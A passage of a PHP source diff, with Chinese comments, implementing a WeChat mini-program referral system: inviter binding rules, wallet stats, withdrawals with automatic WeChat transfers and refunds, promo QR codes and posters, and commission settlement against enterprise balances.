$enterpriseId = $enterpriseId !== null ? (int) $enterpriseId : null; + $scope = $enterpriseId ? 'enterprise' : 'personal'; + + // 自绑校验 + if ($inviterId <= 0 || $inviterId === $inviteeId) { + return success(null, '无需绑定'); + } + + // 企业版:推荐人必须是该企业成员 + if ($scope === 'enterprise') { + $inviter = Db::name('wechat_users') + ->where('id', $inviterId) + ->field('id, enterpriseId') + ->find(); + if (!$inviter || (int) $inviter['enterpriseId'] !== $enterpriseId) { + return success(null, '无需绑定'); + } + } + + $now = time(); + + // 禁止互相绑定(仅有效期内):A 曾邀请过 B 且 A→B 未过期时,B 不能再成为 A 的推荐人;若 A→B 已过期则允许 A 绑定 B + $reverseExists = Db::name('distribution_bindings') + ->where('inviterId', $inviteeId) + ->where('inviteeId', $inviterId) + ->where('scope', $scope) + ->where('status', 'active') + ->where('expireAt', '>', $now) + ->where(function ($query) use ($enterpriseId) { + if ($enterpriseId) { + $query->where('enterpriseId', $enterpriseId); + } else { + $query->whereNull('enterpriseId'); + } + }) + ->find(); + if ($reverseExists) { + return success(null, '无需绑定'); + } + $expireAt = $now + self::BINDING_TTL; + + // 查询当前是否存在有效绑定(包含已过期,因为唯一索引覆盖所有状态) + $existing = Db::name('distribution_bindings') + ->where('inviteeId', $inviteeId) + ->where('scope', $scope) + ->where(function ($query) use ($enterpriseId) { + if ($enterpriseId) { + $query->where('enterpriseId', $enterpriseId); + } else { + $query->whereNull('enterpriseId'); + } + }) + ->find(); + + if (!$existing) { + // ── 首次绑定 + Db::name('distribution_bindings')->insert([ + 'inviterId' => $inviterId, + 'inviteeId' => $inviteeId, + 'scope' => $scope, + 'enterpriseId' => $enterpriseId, + 'expireAt' => $expireAt, + 'status' => 'active', + 'prevInviterId'=> null, + 'overriddenAt' => null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } elseif ((int) $existing['inviterId'] === $inviterId) { + // ── 同一推荐人再次点击 → 续期 + Db::name('distribution_bindings') + ->where('id', $existing['id']) + ->update([ + 'expireAt' => $expireAt, + 'status' => 'active', + 'updatedAt' => $now, + ]); + } else { + // ── 不同推荐人 → 抢绑(覆盖,记录旧推荐人) + Db::name('distribution_bindings') + ->where('id', $existing['id']) + ->update([ + 'prevInviterId' => (int) $existing['inviterId'], + 'inviterId' => $inviterId, + 'expireAt' => $expireAt, + 'status' => 'active', + 'overriddenAt' => $now, + 'updatedAt' => $now, + ]); + } + + return success(['expireAt' => $expireAt], '绑定成功'); + } + + /** + * 过期待收款提现:status=2 超过24小时未确认收款的,自动退回余额并标记为已过期 + */ + private function expirePendingWithdrawals() + { + $now = time(); + $limit = $now - self::WITHDRAW_WAIT_EXPIRE_SEC; + $list = Db::name('distribution_withdrawals') + ->where('status', 2) + ->select() + ->toArray(); + foreach ($list as $row) { + $ts = (int) ($row['auditAt'] ?? $row['updatedAt'] ?? $row['createdAt'] ?? 0); + if ($ts <= 0 || $ts >= $limit) { + continue; + } + $id = (int) $row['id']; + $userId = (int) $row['userId']; + $amountFen = (int) $row['amountFen']; + if ($amountFen <= 0) { + continue; + } + Db::startTrans(); + try { + Db::name('wechat_users') + ->where('id', $userId) + ->inc('walletBalance', $amountFen) + ->update(['updatedAt' => $now]); + Db::name('distribution_withdrawals')->where('id', $id)->update([ + 'status' => 4, + 'auditNote' => '超时未确认收款,已自动退回余额', + 'auditAt' => $now, + 'updatedAt' => $now, + ]); + Db::commit(); + Log::info('提现过期自动退回', ['id' => $id, 'userId' => $userId, 'amountFen' => $amountFen]); + } catch (\Throwable $e) { + Db::rollback(); + Log::error('expirePendingWithdrawals error: ' . $e->getMessage()); + } + } + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/stats + // 推广中心统计数据(余额、总收益、待入账、绑定数、付款数) + // ───────────────────────────────────────────────────────────── + public function stats() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $now = time(); + + $this->expirePendingWithdrawals(); + + // 直接读取 wechat_users 中的钱包字段(持久化数据) + $walletBalanceFen = 0; + $totalEarnedFen = 0; + $pendingFen = 0; + try { + $walletRow = Db::name('wechat_users') + ->where('id', $inviterId) + ->field('walletBalance, walletTotalEarned, walletPending') + ->find(); + if ($walletRow) { + $walletBalanceFen = (int) ($walletRow['walletBalance'] ?? 0); + $totalEarnedFen = (int) ($walletRow['walletTotalEarned'] ?? 0); + $pendingFen = (int) ($walletRow['walletPending'] ?? 0); + } + } catch (\Exception $e) { + // 表结构异常时静默降级为 0 + } + + // 绑定中人数(active 且未过期) + $bindingCount = 0; + try { + $bindingCount = Db::name('distribution_bindings') + ->where('inviterId', $inviterId) + ->where('status', 'active') + ->where('expireAt', '>', $now) + ->count(); + } catch (\Exception $e) {} + + // 已付款人数 + $paidCount = 0; + try { + $paidCount = Db::name('commission_records') + ->where('inviterId', $inviterId) + ->whereIn('status', ['paid', 'frozen']) + ->distinct(true) + ->count('inviteeId'); + } catch (\Exception $e) {} + + // 即将到期(7天内过期) + $expiringCount = 0; + try { + $expiringCount = Db::name('distribution_bindings') + ->where('inviterId', $inviterId) + ->where('status', 'active') + ->where('expireAt', '>', $now) + ->where('expireAt', '<=', $now + 7 * 86400) + ->count(); + } catch (\Exception $e) {} + + // 总邀请人数(历史所有绑定过的唯一用户数) + $totalInvite = 0; + try { + $totalInvite = Db::name('distribution_bindings') + ->where('inviterId', $inviterId) + ->distinct(true) + ->count('inviteeId'); + } catch (\Exception $e) {} + + // 根据用户所属企业读取分销配置(显示开关 + 推广中心标题) + $enterpriseId = 0; + try { + $wu = Db::name('wechat_users')->where('id', $inviterId)->field('enterpriseId')->find(); + $enterpriseId = $wu && isset($wu['enterpriseId']) ? (int) $wu['enterpriseId'] : 0; + } catch (\Exception $e) {} + $distConfig = null; + try { + $distRow = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + if (!$distRow && $enterpriseId > 0) { + $distRow = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', 0) + ->find(); + } + if ($distRow && $distRow['value']) { + $distConfig = is_string($distRow['value']) ? json_decode($distRow['value'], true) : $distRow['value']; + } + } catch (\Exception $e) {} + $distributionEnabled = ($distConfig['enabled'] ?? true); + $promoCenterTitle = trim((string)($distConfig['promoCenterTitle'] ?? '推广中心')) ?: '推广中心'; + $commissionRate = (int)($distConfig['commissionRate'] ?? 90); + $bindingDays = (int)($distConfig['bindingDays'] ?? 30); + + // 提现规则仅超管可配置,只读 enterprise_id=0 的全局配置 + $globalDistConfig = null; + try { + $globalRow = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', 0) + ->find(); + if ($globalRow && $globalRow['value']) { + $globalDistConfig = is_string($globalRow['value']) ? json_decode($globalRow['value'], true) : $globalRow['value']; + } + } catch (\Exception $e) {} + $cfg = is_array($globalDistConfig) ? $globalDistConfig : []; + $minWithdrawFen = (int)($cfg['minWithdrawFen'] ?? 100); + $maxWithdrawFen = (int)($cfg['maxWithdrawFen'] ?? 0); + $withdrawFee = (float)($cfg['withdrawFee'] ?? 0); + $requireAudit = (isset($cfg['requireAudit']) ? $cfg['requireAudit'] : true) !== false; + $withdrawMinYuan = number_format($minWithdrawFen / 100, 2, '.', ''); + $withdrawMaxYuan = $maxWithdrawFen > 0 ? number_format($maxWithdrawFen / 100, 2, '.', '') : null; + $withdrawFeePct = round($withdrawFee, 1); + + // 读取「人脸分析」测试佣金配置,用于前端展示规则说明 + $faceSetting = null; + try { + $faceSetting = self::resolveTestSetting('face', $enterpriseId > 0 ? $enterpriseId : null); + } catch (\Throwable $e) { + $faceSetting = null; + } + $faceType = $faceSetting['commissionType'] ?? null; + $faceRate = isset($faceSetting['commissionRate']) ? (int)$faceSetting['commissionRate'] : null; + $faceAmountFen = isset($faceSetting['commissionAmountFen']) ? (int)$faceSetting['commissionAmountFen'] : null; + $faceAmountYuan = $faceAmountFen !== null ? number_format($faceAmountFen / 100, 2, '.', '') : null; + $faceNoPayment = !empty($faceSetting['noPayment']); + + return success([ + 'walletBalance' => number_format($walletBalanceFen / 100, 2, '.', ''), + 'totalEarned' => number_format($totalEarnedFen / 100, 2, '.', ''), + 'pendingAmount' => number_format($pendingFen / 100, 2, '.', ''), + 'bindingCount' => $bindingCount, + 'paidCount' => $paidCount, + 'expiringCount' => $expiringCount, + 'totalInvite' => $totalInvite, + 'distributionEnabled' => $distributionEnabled, + 'promoCenterTitle' => $promoCenterTitle, + 'commissionRate' => $commissionRate, + 'bindingDays' => $bindingDays, + 'testCommissionType' => $faceType, + 'testCommissionRate' => $faceRate, + 'testCommissionAmount'=> $faceAmountYuan, + 'testNoPayment' => $faceNoPayment, + 'withdrawMinYuan' => $withdrawMinYuan, + 'withdrawMaxYuan' => $withdrawMaxYuan, + 'withdrawFeePct' => $withdrawFeePct, + 'requireWithdrawAudit'=> $requireAudit, + ]); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/bindings + // 我邀请的用户列表(分页,tab: 0=绑定中 1=已付款 2=已过期) + // ───────────────────────────────────────────────────────────── + public function bindings() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $tab = (int) Request::param('tab', 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(50, (int) Request::param('pageSize', 20)); + $now = time(); + + $query = Db::name('distribution_bindings') + ->alias('b') + ->leftJoin('wechat_users u', 'b.inviteeId = u.id') + ->field('b.id, b.inviteeId, b.expireAt, b.status, b.createdAt, b.overriddenAt, + u.nickname, u.avatar') + ->where('b.inviterId', $inviterId); + + switch ($tab) { + case 1: // 已付款 + $paidInviteeIds = Db::name('commission_records') + ->where('inviterId', $inviterId) + ->whereIn('status', ['paid', 'frozen']) + ->column('inviteeId'); + if (empty($paidInviteeIds)) { + return success(['list' => [], 'total' => 0, 'page' => $page, 'pageSize' => $pageSize]); + } + $query->whereIn('b.inviteeId', array_unique($paidInviteeIds)); + break; + case 2: // 已过期 + $query->where(function ($q) use ($now) { + $q->where('b.status', 'overridden') + ->whereOr(function ($q2) use ($now) { + $q2->where('b.status', 'active')->where('b.expireAt', '<=', $now); + }); + }); + break; + default: // 绑定中 + $query->where('b.status', 'active')->where('b.expireAt', '>', $now); + break; + } + + $total = (clone $query)->count(); + $list = $query->order('b.updatedAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + foreach ($list as &$row) { + $row['expireAt'] = (int) $row['expireAt']; + $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); + $row['avatar'] = $row['avatar'] ?: ''; + $row['nickname'] = $row['nickname'] ?: '微信用户'; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/commissions + // 我的佣金记录(分页) + // ───────────────────────────────────────────────────────────── + public function commissions() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(50, (int) Request::param('pageSize', 20)); + + $list = Db::name('commission_records') + ->alias('c') + ->leftJoin('wechat_users u', 'c.inviteeId = u.id') + ->field('c.id, c.commissionFen, c.orderAmount, c.status, c.scope, c.createdAt, + c.frozenAt, c.unfrozenAt, u.nickname, u.avatar') + ->where('c.inviterId', $inviterId) + ->order('c.createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $total = Db::name('commission_records') + ->where('inviterId', $inviterId) + ->count(); + + foreach ($list as &$row) { + $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); + $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); + $row['nickname'] = $row['nickname'] ?: '微信用户'; + $row['avatar'] = $row['avatar'] ?: ''; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } + + // ───────────────────────────────────────────────────────────── + // POST /api/distribution/withdraw + // 申请提现 + // ───────────────────────────────────────────────────────────── + public function withdraw() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $this->expirePendingWithdrawals(); + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $amountFen = (int) Request::param('amountFen', 0); + $scope = Request::param('scope', 'personal'); + $eid = $scope === 'enterprise' ? (int) Request::param('eid', 0) : null; + + list($minFen, $maxFen) = self::getWithdrawLimits($scope, $eid); + if ($amountFen < $minFen) { + return error('最低提现金额为 ' . round($minFen / 100, 2) . ' 元', 400); + } + if ($maxFen > 0 && $amountFen > $maxFen) { + return error('最高提现金额为 ' . round($maxFen / 100, 2) . ' 元', 400); + } + + $wallet = Db::name('wechat_users') + ->where('id', $userId) + ->field('walletBalance') + ->find(); + + if (!$wallet || (int) $wallet['walletBalance'] < $amountFen) { + return error('余额不足', 400); + } + + // 检查是否有待审核的提现申请(status=0 审核中) + $pending = Db::name('distribution_withdrawals') + ->where('userId', $userId) + ->where('status', 0) + ->count(); + if ($pending > 0) { + return error('您有待处理的提现申请,请等待审核完成后再次申请', 400); + } + + // 手续费(分):按全局配置 enterprise_id=0 的 withdrawFee 比例计算 + $cfg = self::getDistributionConfig($scope ?: 'personal', $eid); + $feePct = (float)($cfg['withdrawFee'] ?? 0); + $feeFen = (int) round($amountFen * $feePct / 100); + $actualFen = $amountFen - $feeFen; + if ($actualFen < $minFen) { + return error('实际到账金额不得低于最低提现金额 ' . number_format($minFen / 100, 2, '.', '') . ' 元', 400); + } + + $requireAudit = (isset($cfg['requireAudit']) ? $cfg['requireAudit'] : true) !== false; + + $now = time(); + Db::startTrans(); + try { + // 冻结余额 + Db::name('wechat_users') + ->where('id', $userId) + ->dec('walletBalance', $amountFen) + ->update(['updatedAt' => $now]); + + // 写入提现申请:status=0 审核中,并记录手续费(需 insertGetId 以便免审核时更新) + $withdrawId = Db::name('distribution_withdrawals')->insertGetId([ + 'userId' => $userId, + 'amountFen' => $amountFen, + 'feeFen' => $feeFen, + 'status' => 0, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('申请提现失败:' . $e->getMessage(), 500); + } + + // 免审核:自动发起微信转账 + if (!$requireAudit && $withdrawId > 0) { + $wechatUser = Db::name('wechat_users')->where('id', $userId)->field('openid')->find(); + $openid = $wechatUser['openid'] ?? ''; + if (empty($openid)) { + Db::startTrans(); + try { + Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); + Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ + 'status' => 1, + 'auditNote' => '无 openid 无法自动打款,请联系管理员', + 'auditAt' => time(), + 'updatedAt' => time(), + ]); + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + } + return error('无法自动打款:未绑定微信 openid,请联系管理员', 400); + } + + try { + $outBillNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999) . $withdrawId; + $service = new \app\common\service\WechatTransferService(); + $result = $service->createTransfer([ + 'out_bill_no' => $outBillNo, + 'openid' => $openid, + 'transfer_amount' => $amountFen, + 'transfer_remark' => '推广佣金提现', + 'transfer_scene_id' => env('TRANSFER_SCENE_ID', '1005'), + 'transfer_scene_report_infos' => [ + ['info_type' => '岗位类型', 'info_content' => '推广人员'], + ['info_type' => '报酬说明', 'info_content' => '推广佣金提现'], + ], + 'notify_url' => env('WITHDRAW_NOTIFY_URL', ''), + ]); + + if ($result['success'] === true) { + $wechatData = $result['data'] ?? []; + $transferBillNo = $wechatData['transfer_bill_no'] ?? $wechatData['batch_id'] ?? null; + $wechatState = $wechatData['state'] ?? $wechatData['batch_status'] ?? 'PROCESSING'; + Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ + 'status' => 2, + 'auditAt' => $now, + 'updatedAt' => $now, + 'pay_type' => 'wechat', + 'out_bill_no' => $outBillNo, + 'transfer_bill_no' => $transferBillNo, + 'wechat_pay_state' => $wechatState, + 'transfer_scene_id' => $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), + 'package_info' => $wechatData['package_info'] ?? '', + 'mch_id' => env('MCH_ID', null), + ]); + return success(null, '提现申请已提交,已自动发起微信转账'); + } + + $err = $result['error'] ?? []; + $code = $err['code'] ?? 'UNKNOWN'; + $msg = $err['message'] ?? '微信转账接口调用失败'; + Db::startTrans(); + try { + Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); + Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ + 'status' => 1, + 'auditNote' => "微信转账发起失败({$code}):{$msg}", + 'auditAt' => time(), + 'updatedAt' => time(), + ]); + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + } + return error("自动打款失败({$code}):{$msg}", 500); + } catch (\Exception $e) { + Db::startTrans(); + try { + Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); + Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ + 'status' => 1, + 'auditNote' => '自动打款异常:' . $e->getMessage(), + 'auditAt' => time(), + 'updatedAt' => time(), + ]); + Db::commit(); + } catch (\Exception $ex) { + Db::rollback(); + } + return error('自动打款异常:' . $e->getMessage(), 500); + } + } + + return success(null, '提现申请已提交,请等待审核'); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/withdrawals + // 我的提现记录 + // ───────────────────────────────────────────────────────────── + public function withdrawals() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(50, (int) Request::param('pageSize', 20)); + + $this->expirePendingWithdrawals(); + + $list = Db::name('distribution_withdrawals') + ->where('userId', $userId) + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $total = Db::name('distribution_withdrawals') + ->where('userId', $userId) + ->count(); + + foreach ($list as &$row) { + $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); + $feeFen = (int)($row['feeFen'] ?? 0); + $row['feeYuan'] = number_format($feeFen / 100, 2, '.', ''); + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } + + // ───────────────────────────────────────────────────────────── + // POST /api/distribution/withdrawals/query-transfer + // 用户确认收款后,主动查询微信转账单状态并更新本地订单(及时刷新) + // 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012716437 + // ───────────────────────────────────────────────────────────── + public function queryTransfer() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $id = (int) Request::param('id', 0); + if ($id <= 0) { + return error('参数错误', 400); + } + + $record = Db::name('distribution_withdrawals') + ->where('id', $id) + ->where('userId', $userId) + ->find(); + if (!$record) { + return error('提现记录不存在或无权限', 404); + } + + $outBillNo = trim((string) ($record['out_bill_no'] ?? '')); + if (!$outBillNo) { + return error('该提现单暂无商户单号,无法查询', 400); + } + + try { + $service = new \app\common\service\WechatTransferService(); + $result = $service->queryByOutBillNo($outBillNo); + } catch (\Throwable $e) { + Log::error('queryTransfer WechatTransferService error: ' . $e->getMessage()); + return error('查询转账状态失败:' . $e->getMessage(), 500); + } + + if ($result['success'] !== true || empty($result['data'])) { + $err = $result['error'] ?? []; + return error('查询失败:' . ($err['message'] ?? '未知错误'), 500); + } + + $data = $result['data']; + $state = trim((string) ($data['state'] ?? '')); + $now = time(); + $billNo = $data['transfer_bill_no'] ?? null; + + if ($state === 'SUCCESS') { + Db::name('distribution_withdrawals')->where('id', $id)->update([ + 'status' => 3, + 'wechat_pay_state' => $state, + 'transfer_bill_no' => $billNo, + 'transferAt' => $now, + 'updatedAt' => $now, + ]); + return success(['status' => 3, 'statusLabel' => '已收款'], '已收款'); + } + + if ($state === 'FAIL') { + Db::startTrans(); + try { + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', (int) $record['amountFen']) + ->update(['updatedAt' => $now]); + Db::name('distribution_withdrawals')->where('id', $id)->update([ + 'status' => 1, + 'auditNote' => $data['fail_reason'] ?? '微信转账失败', + 'wechat_pay_state' => $state, + 'transfer_bill_no' => $billNo, + 'updatedAt' => $now, + ]); + Db::commit(); + } catch (\Throwable $e) { + Db::rollback(); + Log::error('queryTransfer FAIL rollback: ' . $e->getMessage()); + return error('更新失败', 500); + } + return success(['status' => 1, 'statusLabel' => '已驳回'], '转账失败,余额已退回'); + } + + return success(['status' => (int) $record['status'], 'state' => $state], '状态未变更'); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/qrcode + // 生成当前用户专属小程序推广码,直接输出 PNG 二进制流 + // 可选参数:scope=personal|enterprise;eid=企业ID(仅 scope=enterprise 时有效) + // ───────────────────────────────────────────────────────────── + public function qrcode() + { + $user = $this->resolveUser(); + if (!$user) { + http_response_code(401); + exit('Unauthorized'); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $scope = Request::param('scope', ''); + // 显式传 scope=personal 时强制个人版,不认 eid + $enterpriseId = ($scope === 'personal') ? null : Request::param('eid', null); + $enterpriseId = $enterpriseId !== null ? (int) $enterpriseId : null; + + // scene 参数:uid=用户ID(+eid=企业ID),最长 32 字符 + if ($enterpriseId) { + $scene = "uid={$userId}&eid={$enterpriseId}"; + $page = 'pages/enterprise/index'; + } else { + $scene = "uid={$userId}"; + $page = 'pages/index/index'; + } + + // 调用微信接口生成小程序码 + $result = WechatService::getWxacodeUnlimited($scene, $page, 280); + + if (isset($result['errcode'])) { + http_response_code(500); + exit(json_encode(['code' => 500, 'msg' => '生成小程序码失败:' . ($result['errmsg'] ?? '未知错误')])); + } + + // 直接输出 PNG 二进制流,供 wx.downloadFile 使用 + header('Content-Type: image/png'); + header('Cache-Control: max-age=3600'); + echo $result['binary']; + exit(); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/poster + // 生成完整海报(后端合成头像+二维码),直接输出 PNG + // ───────────────────────────────────────────────────────────── + public function poster() + { + $user = $this->resolveUser(); + if (!$user) { + http_response_code(401); + exit('Unauthorized'); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $scope = Request::param('scope', ''); + // scope=personal 时不读 eid 参数 + $eidParam = ($scope === 'personal') ? null : Request::param('eid', null); + $enterpriseId = $eidParam !== null ? (int) $eidParam : null; + + if ($userId <= 0) { + http_response_code(400); + exit(json_encode(['code' => 400, 'msg' => '用户信息异常'])); + } + + $wechatUser = Db::name('wechat_users') + ->where('id', $userId) + ->field('id, nickname, avatar, enterpriseId') + ->find(); + + // 未显式传 eid 且非强制个人版时,从用户 DB 记录自动取企业 ID + if ($enterpriseId === null && $scope !== 'personal' && !empty($wechatUser['enterpriseId'])) { + $enterpriseId = (int) $wechatUser['enterpriseId']; + } + $userData = [ + 'id' => $userId, + 'nickname' => $wechatUser['nickname'] ?? '好友', + 'avatar' => $wechatUser['avatar'] ?? '', + ]; + + $scene = $enterpriseId ? "uid={$userId}&eid={$enterpriseId}" : "uid={$userId}"; + $page = $enterpriseId ? 'pages/enterprise/index' : 'pages/index/index'; + $qrResult = WechatService::getWxacodeUnlimited($scene, $page, 280); + + if (isset($qrResult['errcode'])) { + http_response_code(500); + exit(json_encode(['code' => 500, 'msg' => '生成小程序码失败:' . ($qrResult['errmsg'] ?? '')])); + } + + $avatarBinary = null; + if (!empty($userData['avatar'])) { + $avatarBinary = PosterService::fetchImage($userData['avatar']); + } + + try { + $png = PosterService::buildFromConfig($userData, $qrResult['binary'], $avatarBinary, $enterpriseId); + } catch (\Throwable $e) { + http_response_code(500); + exit(json_encode(['code' => 500, 'msg' => '海报合成失败:' . $e->getMessage()])); + } + + header('Content-Type: image/png'); + header('Cache-Control: max-age=3600'); + echo $png; + exit(); + } + + // ───────────────────────────────────────────────────────────── + // 内部方法:订单付款成功后结算佣金(由 Payment/notify 调用) + // $orderId: orders.id (整数) + // ───────────────────────────────────────────────────────────── + public static function settleCommission(int $orderId): void + { + $order = Db::name('orders') + ->where('id', $orderId) + ->field('id, userId, enterpriseId, amount, status') + ->find(); + + if (!$order || $order['status'] !== 'paid') { + return; + } + + $inviteeId = (int) $order['userId']; + $orderAmount = (int) $order['amount']; + $enterpriseId = !empty($order['enterpriseId']) ? (int) $order['enterpriseId'] : null; + $scope = $enterpriseId ? 'enterprise' : 'personal'; + $now = time(); + + // 【第一步】精确匹配:scope + enterpriseId 与订单完全一致 + $binding = Db::name('distribution_bindings') + ->where('inviteeId', $inviteeId) + ->where('scope', $scope) + ->where(function ($q) use ($enterpriseId) { + if ($enterpriseId) { + $q->where('enterpriseId', $enterpriseId); + } else { + $q->whereNull('enterpriseId'); + } + }) + ->where('status', 'active') + ->where('expireAt', '>', time()) + ->find(); + + // 【第二步】回退匹配:精确未命中时,查找任意有效的 personal 绑定 + // 跨 scope 场景(如企业版订单但推荐人仅持有 personal 绑定),以个人版配置+平台资金结算 + $fallbackScope = $scope; + $fallbackEnterpriseId = $enterpriseId; + if (!$binding && $scope === 'enterprise') { + $binding = self::findActivePersonalBinding($inviteeId, $enterpriseId); + if ($binding) { + $fallbackScope = 'personal'; + $fallbackEnterpriseId = !empty($binding['enterpriseId']) ? (int) $binding['enterpriseId'] : null; + } + } + + if (!$binding) { + return; + } + + // 实际用于结算的 scope/enterpriseId(可能已回退为 personal) + $scope = $fallbackScope; + $enterpriseId = $fallbackEnterpriseId; + + $inviterId = (int) $binding['inviterId']; + + // 从订单关联的 test_results 中取 testType,用于读取 per-test 佣金配置 + $testType = null; + try { + $tr = Db::name('test_results')->where('orderId', $orderId)->field('testType')->find(); + if ($tr) $testType = $tr['testType'] === 'ai' ? 'face' : ($tr['testType'] ?? null); + } catch (\Throwable $e) {} + + // 读取佣金配置(优先 per-test testSettings,回退全局) + list($rate, $amountFen) = self::getTestCommissionConfig($testType, $scope, $enterpriseId); + $commissionFen = 0; + if ($amountFen > 0) { + $commissionFen = $amountFen; + $rate = 0; + } elseif ($rate > 0) { + $commissionFen = (int) floor($orderAmount * $rate / 100); + } + if ($commissionFen <= 0) { + return; + } + + // 避免同一订单重复结算 + $exists = Db::name('commission_records') + ->where('orderId', $orderId) + ->find(); + if ($exists) { + return; + } + + Db::startTrans(); + try { + $commissionStatus = 'pending'; + + if ($enterpriseId) { + // 企业上下文:优先从企业余额扣款,余额不足则冻结 + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, balance') + ->lock(true) + ->find(); + + $balanceFen = (int) ($enterprise['balance'] ?? 0); + + if ($enterprise && $balanceFen >= $commissionFen) { + // 余额充足,直接结算 + $newBalanceFen = $balanceFen - $commissionFen; + Db::name('enterprises') + ->where('id', $enterpriseId) + ->update([ + 'balance' => $newBalanceFen, + 'updatedAt' => $now, + ]); + + Db::name('finance_records')->insert([ + 'enterpriseId' => $enterpriseId, + 'type' => 'consume', + 'amount' => $commissionFen, + 'balanceBefore' => $balanceFen, + 'balanceAfter' => $newBalanceFen, + 'description' => self::buildCommissionFinanceDescription($inviteeId, $testType, 'order_paid'), + 'orderId' => $orderId, + 'createdAt' => $now, + ]); + + // 推荐人钱包入账 + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + + $commissionStatus = 'paid'; + } else { + // 余额不足,冻结 + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletPending', $commissionFen) + ->update(['updatedAt' => $now]); + + $commissionStatus = 'frozen'; + } + } else { + // 无企业上下文:平台直接发放(入账钱包) + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + + $commissionStatus = 'paid'; + } + + // 写佣金记录 + Db::name('commission_records')->insert([ + 'agentId' => $inviterId, + 'orderId' => $orderId, + 'scope' => $scope, + 'enterpriseId' => $enterpriseId, + 'inviterId' => $inviterId, + 'inviteeId' => $inviteeId, + 'bindingId' => (int) $binding['id'], + 'commissionRate'=> $rate, + 'orderAmount' => $orderAmount, + 'commissionFen' => $commissionFen, + 'commissionAmount' => number_format($commissionFen / 100, 2, '.', ''), + 'status' => $commissionStatus, + 'frozenAt' => $commissionStatus === 'frozen' ? $now : null, + 'paidAt' => $commissionStatus === 'paid' ? $now : null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + } + } + + // ───────────────────────────────────────────────────────────── + // 内部方法:企业充值后解冻冻结中的佣金 + // $enterpriseId: 企业ID + // ───────────────────────────────────────────────────────────── + public static function unfreezeCommissions(int $enterpriseId): void + { + $now = time(); + + // 找出该企业所有冻结中的佣金(按时间升序,先冻先解) + $frozenList = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'frozen') + ->order('createdAt', 'asc') + ->select() + ->toArray(); + + if (empty($frozenList)) { + return; + } + + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, balance') + ->lock(true) + ->find(); + + if (!$enterprise) { + return; + } + + $balanceFen = (int) ($enterprise['balance'] ?? 0); + + Db::startTrans(); + try { + foreach ($frozenList as $record) { + $commissionFen = (int) $record['commissionFen']; + if ($balanceFen < $commissionFen) { + break; + } + + $balanceFen -= $commissionFen; + $inviterId = (int) $record['inviterId']; + + // 更新佣金记录状态 + Db::name('commission_records') + ->where('id', $record['id']) + ->update([ + 'status' => 'paid', + 